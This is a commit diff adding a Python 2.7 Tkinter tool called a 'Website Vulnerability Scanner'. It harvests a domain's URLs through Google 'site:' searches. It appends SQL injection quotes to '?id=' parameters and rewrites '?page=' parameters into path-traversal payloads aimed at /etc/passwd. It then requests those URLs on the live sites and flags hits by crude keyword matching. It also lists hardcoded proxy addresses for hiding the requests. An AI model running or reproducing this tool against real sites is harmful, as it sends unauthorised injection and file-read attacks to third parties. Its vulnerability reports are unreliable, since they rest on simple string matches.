Create scan.py

Author: Ap1311

scan.py

@@ -0,0 +1,118 @@
+# Python 2.7
+# input type : url
+########################
+#   Coded By           #
+#   Aarav Shah         #
+########################
+
+
+
+from Tkinter import *
+import requests
+from bs4 import BeautifulSoup
+import re
+import urllib
+import ttk
+
+def callback():
+    query=e.get()
+    num = value1.get()
+    print num
+    i=0
+    f = open(query+'.txt', 'w')    #open file
+    http_proxy  = "http://97.84.14.116:8080/"
+    https_proxy = "http://12.33.254.195:3128/"
+
+    proxyDict = { 
+                  "http"  : http_proxy, 
+                  "https" : https_proxy
+                  }
+    while(i<num): #num= combobox drop down value
+        page = requests.get("http://www.google.com/search?q=site:"+query+"&start="+str(i)) #,proxies=proxyDict) #Remove the Comment in proxies to use a proxy server
+        soup = BeautifulSoup(page.content, 'html.parser')
+        i=i+10
+        j=0
+        for link in  soup.find_all("a",href=re.compile("(?<=/url\?q=)(htt.*://.*)")):
+            g= str((re.split(":(?=http)",link["href"].replace("/url?q=",""))))
+            h= urllib.unquote(g)
+            s= h.replace ("[u'", "")
+            l= s.replace ("', u'","\n")
+            k = l.replace ("https" , "http")
+            p= k.replace ("']","")
+            head, sep, tail = p.partition('&')
+            if 'webcache' not in head and 'site:' not in head:
+                if '?id=' in head:
+                    f.write(head+ "'"+ "\n")
+                if '?page' in head:
+                    head, sep, tail = p.partition('=')
+                    f.write(head+ "=../../../../../../../../../../../../../../etc/passwd" + "\n")
+    f.close()
+    
+
+
+#bad_words = ['webcache', 'site:']
+
+#with open(query+'.txt') as oldfile, open('newfile.txt', 'w') as newfile:
+ #   for line in oldfile:
+  #      if not any(bad_word in line for bad_word in bad_words):
+   #         newfile.write(line)
+    
+
+    f2 = open(query+'.txt', 'r+')
+    links = f2.readlines()
+    words = ['sql' , 'MySQL' , 'SQL']
+    words2 = ['root' ,'/etc/','/home/']
+    for link in links:
+        if '?id=' in link:
+            flag=0
+            site = urllib.urlopen(link).read()
+            for word in words:
+                flag=0
+                if word in site:
+                    flag=1
+                if flag==1:
+                    str1= str("[SQLI] Vulnerability found at  " + link)
+                    listbox.insert(END, str1)
+        if '?page=' in link:
+            site = urllib.urlopen(link).read()
+            for word2 in words2:
+                flag=0
+                if word2 in site:
+                    flag=1
+                if flag==1:
+                    str2= str("[LFI] Vulnerability found at " + link)
+                    listbox.insert(END, str2)
+            
+
+    #f2.seek(0)
+    #for i in d:
+     #   if i != "http://webcache.googleusercontent.com/":
+      #      f2.write(i)
+    #f2.truncate()
+    f2.close()
+
+master = Tk()
+master.title('VULNERABILITY SCANNER')
+e = Entry(master)
+e.pack(fill=X)
+e.pack()
+w = Label(master, text=":.: Website Vulnerability Scanner Tool :.:",fg="blue",font=("Helvetica -14 bold"))
+w.pack()
+e.focus_set()
+b = Button(master, text=">>>", width=10, command=callback, bg="black", fg="green")
+b.pack()
+listbox = Listbox(master, bg="black",fg="green",width =80)
+listbox.pack()
+value1=IntVar()
+#master.option_add("*TCombobox*Listbox*Background", 'green')
+drop = ttk.Combobox(master,textvariable=value1,width=5, state='readonly')
+drop['values']=('10','20','30','40','50','60','70','80','90','100')
+drop.current(0)
+drop.place(x=433,y=0)
+
+
+mainloop()
+
+
+
+